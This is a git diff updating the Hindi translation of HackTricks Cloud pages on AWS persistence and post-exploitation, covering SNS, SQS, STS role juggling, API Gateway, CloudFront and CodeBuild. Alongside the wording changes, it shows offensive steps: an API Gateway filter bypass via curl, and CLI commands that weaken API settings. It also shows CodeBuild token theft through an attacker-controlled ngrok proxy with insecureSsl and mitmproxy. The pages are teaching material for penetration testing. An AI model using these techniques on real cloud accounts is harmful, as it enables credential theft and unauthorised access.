+स्वचालित रूप से **रहस्यों को घुमाने** के लिए एक कॉन्फ़िगर किया गया **Lambda** कॉल किया जाता है। यदि एक हमलावर **कोड** को **बदल** सकता है, तो वह सीधे **नए रहस्य को** अपने लिए **बाहर निकाल** सकता है। -इस प्रकार की कार्रवाई के लिए लैम्ब्डा कोड इस तरह दिख सकता है: +यहाँ इस प्रकार की कार्रवाई के लिए लैम्ब्डा कोड ऐसा दिख सकता है: ```python import boto3 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index a139dad70..e02f50fbf 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -63,7 +63,7 @@ ] } ``` -### Create Subscribers +### Subscribers बनाएं सभी विषयों से सभी संदेशों को निकालने के लिए हमलावर **सभी विषयों के लिए सब्सक्राइबर बना सकता है**। diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 07f54abcb..6a7cbe0ad 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -12,8 +12,8 @@ ### संसाधन नीति का उपयोग करना -SQS में आपको IAM नीति के साथ यह संकेत देना होगा कि **किसके पास पढ़ने और लिखने का अधिकार है**। बाहरी खातों, भूमिकाओं के ARN, या **यहाँ तक कि "\*"** को संकेत देना संभव है।\ -निम्नलिखित नीति AWS में सभी को **MyTestQueue** नामक कतार में सब कुछ तक पहुँच देती है: +SQS में आपको IAM नीति के साथ **यह बताना होगा कि किसे पढ़ने और लिखने का अधिकार है**। बाहरी खातों, भूमिकाओं के ARN, या **यहाँ तक कि "\*"** को इंगित करना संभव है।\ +निम्नलिखित नीति AWS में सभी को **MyTestQueue** नामक कतार में सब कुछ एक्सेस करने की अनुमति देती है: ```json { "Version": "2008-10-17", @@ -32,6 +32,6 @@ SQS में आपको IAM नीति के साथ यह संके } ``` > [!NOTE] -> आप हर बार जब कतार में एक नया संदेश डाला जाता है, तो **हमलावर के खाते में एक Lambda को ट्रिगर** कर सकते हैं (आपको इसे फिर से डालने की आवश्यकता होगी) किसी न किसी तरह। इसके लिए इन निर्देशों का पालन करें: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> आप हर बार जब एक नया संदेश कतार में डाला जाता है, तो **हमलावर के खाते में एक Lambda को ट्रिगर** कर सकते हैं (आपको इसे फिर से डालने की आवश्यकता होगी) किसी न किसी तरह। इसके लिए इन निर्देशों का पालन करें: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 1b41b7d91..2093a18f5 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -22,13 +22,13 @@ aws sts get-session-token \ --token-code <code-from-token> # हार्डवेयर डिवाइस का नाम आमतौर पर डिवाइस के पीछे का नंबर होता है, जैसे GAHT12345678 -# SMS डिवाइस का नाम AWS में ARN है, जैसे arn:aws:iam::123456789012:sms-mfa/username -# वर्चुअल डिवाइस का नाम AWS में ARN है, जैसे arn:aws:iam::123456789012:mfa/username +# SMS डिवाइस का नाम AWS में ARN होता है, जैसे arn:aws:iam::123456789012:sms-mfa/username +# वर्चुअल डिवाइस का नाम AWS में ARN होता है, जैसे arn:aws:iam::123456789012:mfa/username
### Role Chain Juggling -[**रोल चेनिंग एक मान्यता प्राप्त AWS विशेषता है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), जिसे अक्सर छिपी हुई स्थिरता बनाए रखने के लिए उपयोग किया जाता है। इसमें **एक भूमिका को मान लेना शामिल है जो फिर दूसरी भूमिका को मान लेती है**, संभावित रूप से **चक्रीय तरीके** से प्रारंभिक भूमिका पर लौटते हुए। प्रत्येक बार जब एक भूमिका को मान लिया जाता है, तो क्रेडेंशियल्स की समाप्ति फ़ील्ड को ताज़ा किया जाता है। परिणामस्वरूप, यदि दो भूमिकाएँ एक-दूसरे को आपस में मानने के लिए कॉन्फ़िगर की गई हैं, तो यह सेटअप क्रेडेंशियल्स के निरंतर नवीनीकरण की अनुमति देता है। +[**रोल चेनिंग एक मान्यता प्राप्त AWS विशेषता है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), जो अक्सर छिपी हुई स्थिरता बनाए रखने के लिए उपयोग की जाती है। इसमें **एक भूमिका को मान लेना शामिल है जो फिर दूसरी भूमिका को मान लेती है**, संभावित रूप से प्रारंभिक भूमिका पर **चक्रीय तरीके से लौटते हुए**। प्रत्येक बार जब एक भूमिका को मान लिया जाता है, तो क्रेडेंशियल्स की समाप्ति फ़ील्ड को ताज़ा किया जाता है। परिणामस्वरूप, यदि दो भूमिकाएँ एक-दूसरे को आपस में मानने के लिए कॉन्फ़िगर की गई हैं, तो यह सेटअप क्रेडेंशियल्स के निरंतर नवीनीकरण की अनुमति देता है। आप इस [**उपकरण**](https://github.com/hotnops/AWSRoleJuggler/) का उपयोग करके रोल चेनिंग को जारी रख सकते हैं: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index ae4e45866..22aff6750 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -13,7 +13,7 @@ ### एक्सपोज़ न किए गए APIs तक पहुँचें आप [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) में `com.amazonaws.us-east-1.execute-api` सेवा के साथ एक एंडपॉइंट बना सकते हैं, उस नेटवर्क में एंडपॉइंट को एक्सपोज़ करें जहाँ आपके पास पहुँच है (संभवतः एक EC2 मशीन के माध्यम से) और सभी कनेक्शनों की अनुमति देने वाले सुरक्षा समूह को असाइन करें।\ -फिर, EC2 मशीन से आप एंडपॉइंट तक पहुँच प्राप्त कर सकेंगे और इसलिए उस गेटवे API को कॉल कर सकेंगे जो पहले एक्सपोज़ नहीं किया गया था। +फिर, EC2 मशीन से आप एंडपॉइंट तक पहुँच सकते हैं और इसलिए उस गेटवे API को कॉल कर सकते हैं जो पहले एक्सपोज़ नहीं किया गया था। ### अनुरोध शरीर पासथ्रू को बायपास करें @@ -21,14 +21,14 @@ जैसा कि [**AWS दस्तावेज़**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) में `PassthroughBehavior` अनुभाग में संकेतित किया गया है, डिफ़ॉल्ट रूप से, मान **`WHEN_NO_MATCH`** , जब अनुरोध के **Content-Type** हेडर की जांच की जाती है, तो अनुरोध को बिना किसी परिवर्तन के बैक एंड पर पास करेगा। -इसलिए, CTF में API गेटवे में एक इंटीग्रेशन टेम्पलेट था जो **फ्लैग को रिस्पॉन्स में एक्सफिल्ट्रेट होने से रोक रहा था** जब एक अनुरोध `Content-Type: application/json` के साथ भेजा गया था: +इसलिए, CTF में API गेटवे में एक एकीकरण टेम्पलेट था जो **फ्लैग को प्रतिक्रिया में एक्सफिल्ट्रेट होने से रोक रहा था** जब अनुरोध `Content-Type: application/json` के साथ भेजा गया था: ```yaml RequestTemplates: application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` हालांकि, **`Content-type: text/json`** के साथ एक अनुरोध भेजने से उस फ़िल्टर को रोका जा सकेगा। -अंत में, चूंकि API Gateway केवल `Get` और `Options` की अनुमति दे रहा था, इसलिए एक मनमाना dynamoDB क्वेरी भेजना संभव था बिना किसी सीमा के, एक POST अनुरोध भेजकर जिसमें क्वेरी शरीर में हो और हेडर `X-HTTP-Method-Override: GET` का उपयोग किया जाए: +अंत में, चूंकि API Gateway केवल `Get` और `Options` की अनुमति दे रहा था, इसलिए एक मनमाना dynamoDB क्वेरी भेजना संभव था बिना किसी सीमा के, जिसमें क्वेरी को बॉडी में भेजकर और हेडर `X-HTTP-Method-Override: GET` का उपयोग किया गया: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` @@ -51,14 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**संभावित प्रभाव**: संवेदनशील जानकारी का लीक, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच। +**संभावित प्रभाव**: संवेदनशील जानकारी का लीक होना, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच। > [!NOTE] > परीक्षण की आवश्यकता है ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` -एक हमलावर जिसके पास `apigateway:UpdateStage` और `apigateway:CreateDeployment` की अनुमति है, **एक मौजूदा API गेटवे स्टेज को ट्रैफ़िक को एक अलग स्टेज पर पुनर्निर्देशित करने या कैशिंग सेटिंग्स को बदलने के लिए संशोधित कर सकता है ताकि कैश किए गए डेटा तक अनधिकृत पहुंच प्राप्त की जा सके**। +एक हमलावर जिसके पास `apigateway:UpdateStage` और `apigateway:CreateDeployment` की अनुमति है, वह **एक मौजूदा API गेटवे स्टेज को ट्रैफ़िक को एक अलग स्टेज पर पुनर्निर्देशित करने या कैशिंग सेटिंग्स को बदलने के लिए संशोधित कर सकता है ताकि कैश किए गए डेटा तक अनधिकृत पहुंच प्राप्त की जा सके**। ```bash API_ID="your-api-id" STAGE_NAME="Prod" @@ -76,7 +76,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` -एक हमलावर जिसके पास `apigateway:PutMethodResponse` और `apigateway:CreateDeployment` की अनुमति है, वह **एक मौजूदा API गेटवे REST API विधि के विधि प्रतिक्रिया को संशोधित कर सकता है ताकि कस्टम हेडर या प्रतिक्रिया टेम्पलेट शामिल किए जा सकें जो संवेदनशील जानकारी लीक करते हैं या दुर्भावनापूर्ण स्क्रिप्ट निष्पादित करते हैं**। +एक हमलावर जिसके पास `apigateway:PutMethodResponse` और `apigateway:CreateDeployment` की अनुमति है, **एक मौजूदा API गेटवे REST API विधि के विधि प्रतिक्रिया को संशोधित कर सकता है ताकि कस्टम हेडर या प्रतिक्रिया टेम्पलेट शामिल किए जा सकें जो संवेदनशील जानकारी लीक करते हैं या दुर्भावनापूर्ण स्क्रिप्ट निष्पादित करते हैं**। ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**संभावित प्रभाव**: संवेदनशील जानकारी का लीक, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच। +**संभावित प्रभाव**: संवेदनशील जानकारी का लीक होना, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच। > [!NOTE] > परीक्षण की आवश्यकता है ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -एक हमलावर जिसके पास `apigateway:UpdateRestApi` और `apigateway:CreateDeployment` की अनुमति है, **API गेटवे REST API सेटिंग्स को लॉगिंग को अक्षम करने या न्यूनतम TLS संस्करण को बदलने के लिए संशोधित कर सकता है, जो संभावित रूप से API की सुरक्षा को कमजोर कर सकता है**। +एक हमलावर जिसके पास `apigateway:UpdateRestApi` और `apigateway:CreateDeployment` की अनुमति है, **API गेटवे REST API सेटिंग्स को लॉगिंग को अक्षम करने या न्यूनतम TLS संस्करण को बदलने के लिए संशोधित कर सकता है, जिससे API की सुरक्षा कमजोर हो सकती है**। ```bash API_ID="your-api-id" @@ -113,7 +113,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -एक हमलावर जिसके पास अनुमतियाँ `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, और `apigateway:CreateUsagePlanKey` हैं, **नए API कुंजी बना सकता है, उन्हें उपयोग योजना के साथ जोड़ सकता है, और फिर इन कुंजियों का उपयोग API तक अनधिकृत पहुंच के लिए कर सकता है**। +एक हमलावर जिसके पास अनुमतियाँ `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, और `apigateway:CreateUsagePlanKey` हैं, **नए API कुंजी बना सकता है, उन्हें उपयोग योजनाओं के साथ जोड़ सकता है, और फिर इन कुंजियों का उपयोग API तक अनधिकृत पहुंच के लिए कर सकता है**। ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 586f0f4e1..121c32994 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -12,7 +12,7 @@ ### Man-in-the-Middle -यह [**ब्लॉग पोस्ट**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) कुछ विभिन्न परिदृश्यों का प्रस्ताव करता है जहाँ एक **Lambda** को **CloudFront** के माध्यम से **संचार** में जोड़ा (या यदि यह पहले से उपयोग में है तो संशोधित) किया जा सकता है, जिसका उद्देश्य उपयोगकर्ता की जानकारी (जैसे सत्र का **कुकी**) को **चुराना** और **प्रतिक्रिया** को **संशोधित** करना (एक दुर्भावनापूर्ण JS स्क्रिप्ट को इंजेक्ट करना) है। +यह [**ब्लॉग पोस्ट**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) कुछ विभिन्न परिदृश्यों का प्रस्ताव करता है जहाँ एक **Lambda** को **CloudFront** के माध्यम से **संचार** में जोड़ा (या संशोधित) किया जा सकता है, जिसका उद्देश्य उपयोगकर्ता की जानकारी (जैसे सत्र का **कुकी**) को **चुराना** और **प्रतिक्रिया** को **संशोधित** करना (एक दुर्भावनापूर्ण JS स्क्रिप्ट को इंजेक्ट करना) है। #### परिदृश्य 1: MitM जहाँ CloudFront को एक बकेट के कुछ HTML तक पहुँचने के लिए कॉन्फ़िगर किया गया है @@ -20,12 +20,12 @@ - इसे CloudFront वितरण के साथ **संलग्न** करें। - **इवेंट प्रकार को "Viewer Response"** पर सेट करें। -प्रतिक्रिया को एक्सेस करते समय आप उपयोगकर्ताओं का कुकी चुरा सकते हैं और एक दुर्भावनापूर्ण JS इंजेक्ट कर सकते हैं। +प्रतिक्रिया को एक्सेस करके आप उपयोगकर्ताओं का कुकी चुरा सकते हैं और एक दुर्भावनापूर्ण JS इंजेक्ट कर सकते हैं। -#### परिदृश्य 2: MitM जहाँ CloudFront पहले से एक lambda फ़ंक्शन का उपयोग कर रहा है +#### परिदृश्य 2: MitM जहाँ CloudFront पहले से ही एक lambda फ़ंक्शन का उपयोग कर रहा है -- संवेदनशील जानकारी चुराने के लिए lambda फ़ंक्शन का **कोड संशोधित करें**। +- संवेदनशील जानकारी चुराने के लिए lambda फ़ंक्शन का **कोड संशोधित** करें। -आप इस परिदृश्य को फिर से बनाने के लिए [**tf कोड यहाँ देख सकते हैं**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +आप [**इन परिदृश्यों को फिर से बनाने के लिए tf कोड यहाँ देख सकते हैं**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 251b90e13..8a7e20945 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -12,7 +12,7 @@ ### Check Secrets -यदि क्रेडेंशियल्स को Github, Gitlab या Bitbucket से कनेक्ट करने के लिए Codebuild में सेट किया गया है, व्यक्तिगत टोकन, पासवर्ड या OAuth टोकन एक्सेस के रूप में, तो ये **क्रेडेंशियल्स को सीक्रेट मैनेजर में सीक्रेट्स के रूप में स्टोर किया जाएगा**।\ +यदि Codebuild में Github, Gitlab या Bitbucket से कनेक्ट करने के लिए व्यक्तिगत टोकन, पासवर्ड या OAuth टोकन एक्सेस के रूप में क्रेडेंशियल सेट किए गए हैं, तो ये **क्रेडेंशियल्स सीक्रेट मैनेजर में सीक्रेट्स के रूप में स्टोर किए जाएंगे**।\ इसलिए, यदि आपके पास सीक्रेट मैनेजर को पढ़ने का एक्सेस है, तो आप इन सीक्रेट्स को प्राप्त कर सकते हैं और जुड़े प्लेटफॉर्म पर पिवट कर सकते हैं। {{#ref}} @@ -27,12 +27,12 @@ **CodeBuild प्रोजेक्ट को कॉन्फ़िगर किए गए स्रोत प्रदाता तक एक्सेस होना चाहिए**, या तो **IAM भूमिका** के माध्यम से या github/bitbucket **टोकन या OAuth एक्सेस** के साथ। -एक हमलावर के पास **CodeBuild में उच्च अनुमतियाँ** होने पर, वह इस कॉन्फ़िगर किए गए एक्सेस का दुरुपयोग करके कॉन्फ़िगर किए गए रेपो और अन्य में कोड लीक कर सकता है जहाँ सेट क्रेड्स को एक्सेस है।\ -इसके लिए, एक हमलावर को बस **रेपो के लिए प्रत्येक रेपो का रिपॉजिटरी URL बदलने की आवश्यकता होगी** जिनके लिए कॉन्फ़िग क्रेडेंशियल्स को एक्सेस है (ध्यान दें कि aws वेब आपके लिए सभी को सूचीबद्ध करेगा): +एक हमलावर के पास **CodeBuild में ऊंचे अनुमतियाँ** होने पर, वह इस कॉन्फ़िगर किए गए एक्सेस का दुरुपयोग करके कॉन्फ़िगर किए गए रेपो और अन्य में कोड लीक कर सकता है जहाँ सेट क्रेड्स को एक्सेस है।\ +इसके लिए, एक हमलावर को बस **रेपो URL को प्रत्येक रेपो में बदलने की आवश्यकता होगी जहाँ कॉन्फ़िग क्रेडेंशियल्स को एक्सेस है** (ध्यान दें कि aws वेब आपके लिए सभी को सूचीबद्ध करेगा):
-और **प्रत्येक रेपो को एक्सफिल्ट्रेट करने के लिए Buildspec कमांड बदलें**। +और **प्रत्येक रेपो को एक्सफिल्ट्रेट करने के लिए Buildspec कमांड को बदलें**। > [!WARNING] > हालाँकि, यह **कार्य दोहरावदार और थकाऊ है** और यदि एक github टोकन को **लिखने की अनुमतियों** के साथ कॉन्फ़िगर किया गया था, तो एक हमलावर **उन अनुमतियों का (दुरुपयोग) नहीं कर पाएगा** क्योंकि उसके पास टोकन तक पहुँच नहीं है।\ @@ -40,7 +40,7 @@ ### Leaking Access Tokens from AWS CodeBuild -आप CodeBuild में दिए गए एक्सेस को Github जैसे प्लेटफार्मों पर लीक कर सकते हैं। जाँच करें कि क्या किसी बाहरी प्लेटफार्मों तक पहुँच दी गई थी: +आप CodeBuild में दिए गए एक्सेस को Github जैसे प्लेटफार्मों पर लीक कर सकते हैं। जाँच करें कि क्या किसी बाहरी प्लेटफार्मों तक कोई एक्सेस दिया गया था: ```bash aws codebuild list-source-credentials ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 87d9c5d14..7ae72bc81 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Github/Bitbucket कॉन्फ़िगर किए गए टोकन पुनर्प्राप्त करें +## Github/Bitbucket कॉन्फ़िगर किए गए टोकन को पुनर्प्राप्त करें पहले, जांचें कि क्या कोई स्रोत क्रेडेंशियल्स कॉन्फ़िगर किए गए हैं जिन्हें आप लीक कर सकते हैं: ```bash @@ -10,19 +10,19 @@ aws codebuild list-source-credentials ``` ### Via Docker Image -यदि आप पाते हैं कि उदाहरण के लिए Github के लिए प्रमाणीकरण खाते में सेट है, तो आप **exfiltrate** उस **access** (**GH token या OAuth token**) को **specific docker image** का उपयोग करके प्रोजेक्ट के निर्माण को चलाने के लिए Codebuild को बना सकते हैं। +यदि आप पाते हैं कि उदाहरण के लिए Github के लिए प्रमाणीकरण खाते में सेट है, तो आप **exfiltrate** उस **access** (**GH token या OAuth token**) को कोडबिल्ड को **एक विशिष्ट डॉकर इमेज** का उपयोग करके प्रोजेक्ट के निर्माण को चलाने के लिए बना सकते हैं। -इसके लिए आप **एक नया Codebuild प्रोजेक्ट** बना सकते हैं या **Docker image** सेट करने के लिए एक मौजूदा प्रोजेक्ट के **environment** को बदल सकते हैं। +इसके लिए आप **एक नया Codebuild प्रोजेक्ट** बना सकते हैं या **Docker image** सेट करने के लिए मौजूदा एक का **environment** बदल सकते हैं। -आप जो Docker image उपयोग कर सकते हैं वह है [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)। यह एक बहुत ही बुनियादी Docker image है जो **env variables `https_proxy`**, **`http_proxy`** और **`SSL_CERT_FILE`** सेट करेगा। यह आपको **`https_proxy`** और **`http_proxy`** में निर्दिष्ट होस्ट के अधिकांश ट्रैफ़िक को इंटरसेप्ट करने और **`SSL_CERT_FILE`** में निर्दिष्ट SSL CERT पर भरोसा करने की अनुमति देगा। +आप जो Docker image उपयोग कर सकते हैं वह है [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)। यह एक बहुत ही बुनियादी Docker image है जो **env variables `https_proxy`**, **`http_proxy`** और **`SSL_CERT_FILE`** सेट करेगा। यह आपको **`https_proxy`** और **`http_proxy`** में निर्दिष्ट होस्ट के अधिकांश ट्रैफ़िक को इंटरसेप्ट करने की अनुमति देगा और **`SSL_CERT_FILE`** में निर्दिष्ट SSL CERT पर भरोसा करेगा। 1. **Create & Upload your own Docker MitM image** - अपने प्रॉक्सी IP पते को सेट करने और अपने SSL cert को सेट करने के लिए repo के निर्देशों का पालन करें और **docker image बनाएं**। -- **`http_proxy`** सेट न करें ताकि मेटाडेटा एंडपॉइंट के लिए अनुरोधों को इंटरसेप्ट न किया जा सके। -- आप **`ngrok`** का उपयोग कर सकते हैं जैसे `ngrok tcp 4444` अपने होस्ट के लिए प्रॉक्सी सेट करने के लिए। -- एक बार जब आपके पास Docker image बन जाए, तो **इसे एक सार्वजनिक repo** (Dockerhub, ECR...) पर **अपलोड करें**। +- **DO NOT SET `http_proxy`** ताकि मेटाडेटा एंडपॉइंट के लिए अनुरोधों को इंटरसेप्ट न किया जा सके। +- आप **`ngrok`** का उपयोग कर सकते हैं जैसे `ngrok tcp 4444` अपने होस्ट के लिए प्रॉक्सी सेट करने के लिए +- एक बार जब आपके पास Docker image बन जाए, तो **इसे एक सार्वजनिक repo** (Dockerhub, ECR...) पर **upload** करें। 2. **Set the environment** -- **एक नया Codebuild प्रोजेक्ट** बनाएं या एक मौजूदा प्रोजेक्ट के वातावरण को **संशोधित** करें। +- **एक नया Codebuild प्रोजेक्ट** बनाएं या मौजूदा एक के environment को **संशोधित** करें। - प्रोजेक्ट को **पूर्व में उत्पन्न Docker image** का उपयोग करने के लिए सेट करें।
@@ -34,7 +34,7 @@ aws codebuild list-source-credentials mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> **mitmproxy संस्करण 9.0.1 का उपयोग किया गया था**, रिपोर्ट किया गया था कि संस्करण 10 के साथ यह काम नहीं कर सकता। +> **mitmproxy संस्करण 9.0.1** का उपयोग किया गया था, रिपोर्ट किया गया था कि संस्करण 10 के साथ यह काम नहीं कर सकता। 4. **बिल्ड चलाएँ और क्रेडेंशियल्स कैप्चर करें** @@ -42,7 +42,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
-यह aws cli से कुछ इस तरह भी किया जा सकता है +यह aws cli से कुछ इस तरह किया जा सकता है ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -74,14 +74,14 @@ aws codebuild start-build --project-name my-project2 ### Via insecureSSL **Codebuild** प्रोजेक्ट्स में एक सेटिंग होती है जिसे **`insecureSsl`** कहा जाता है जो वेब में छिपी होती है, आप इसे केवल API से बदल सकते हैं।\ -इसे सक्षम करने से, Codebuild को प्लेटफॉर्म द्वारा प्रदान किए गए प्रमाणपत्र की **जांच किए बिना** रिपॉजिटरी से कनेक्ट करने की अनुमति मिलती है। +इसे सक्षम करने से, Codebuild को प्लेटफ़ॉर्म द्वारा प्रदान किए गए प्रमाणपत्र की **जांच किए बिना** रिपॉजिटरी से कनेक्ट करने की अनुमति मिलती है। - सबसे पहले, आपको वर्तमान कॉन्फ़िगरेशन को कुछ इस तरह से सूचीबद्ध करने की आवश्यकता है: ```bash aws codebuild batch-get-projects --name ``` - फिर, एकत्रित जानकारी के साथ आप प्रोजेक्ट सेटिंग **`insecureSsl`** को **`True`** में अपडेट कर सकते हैं। निम्नलिखित मेरे प्रोजेक्ट को अपडेट करने का एक उदाहरण है, अंत में **`insecureSsl=True`** पर ध्यान दें (यह एकमात्र चीज है जिसे आपको एकत्रित कॉन्फ़िगरेशन से बदलने की आवश्यकता है)। -- इसके अलावा, env वेरिएबल **http_proxy** और **https_proxy** को अपने tcp ngrok की ओर इंगित करते हुए जोड़ें जैसे: +- इसके अलावा, env वेरिएबल **http_proxy** और **https_proxy** को भी जोड़ें जो आपके tcp ngrok की ओर इशारा करते हैं जैसे: ```bash aws codebuild update-project --name \ --source '{ @@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- अंत में, **प्रोजेक्ट बनाएं** पर क्लिक करें, **क्रेडेंशियल्स** **स्पष्ट पाठ** (base64) में mitm पोर्ट पर **भेजे जाएंगे**: +- अंत में, **Build the project** पर क्लिक करें, **credentials** **स्पष्ट पाठ** (base64) में mitm पोर्ट पर **भेजे जाएंगे**:
### ~~HTTP प्रोटोकॉल के माध्यम से~~ -> [!TIP] > **यह कमजोरियों को AWS ने 20 फरवरी 2023 के सप्ताह में किसी समय (मुझे लगता है कि शुक्रवार को) ठीक किया। इसलिए एक हमलावर इसका दुरुपयोग नहीं कर सकता :)** +> [!TIP] > **यह कमजोरियों को AWS ने 2023 के 20 फरवरी के सप्ताह में किसी समय (मुझे लगता है कि शुक्रवार को) ठीक किया। इसलिए एक हमलावर इसका दुरुपयोग नहीं कर सकता :)** -एक हमलावर जिसके पास **CodeBuild में उच्च अनुमतियाँ हैं, वह Github/Bitbucket टोकन** लीक कर सकता है जो कॉन्फ़िगर किया गया है या यदि अनुमतियाँ OAuth के माध्यम से कॉन्फ़िगर की गई हैं, तो **कोड तक पहुँचने के लिए उपयोग किया जाने वाला अस्थायी OAuth टोकन**। +एक हमलावर के पास **CodeBuild में उच्च अनुमतियाँ होने पर Github/Bitbucket टोकन** लीक हो सकता है जो कॉन्फ़िगर किया गया है या यदि अनुमतियाँ OAuth के माध्यम से कॉन्फ़िगर की गई हैं, तो **कोड तक पहुँचने के लिए उपयोग किया जाने वाला अस्थायी OAuth टोकन**। - एक हमलावर **http_proxy** और **https_proxy** पर्यावरण चर को CodeBuild प्रोजेक्ट में जोड़ सकता है जो उसकी मशीन की ओर इशारा करता है (उदाहरण के लिए `http://5.tcp.eu.ngrok.io:14972`)। @@ -144,8 +144,8 @@ mitm.run()
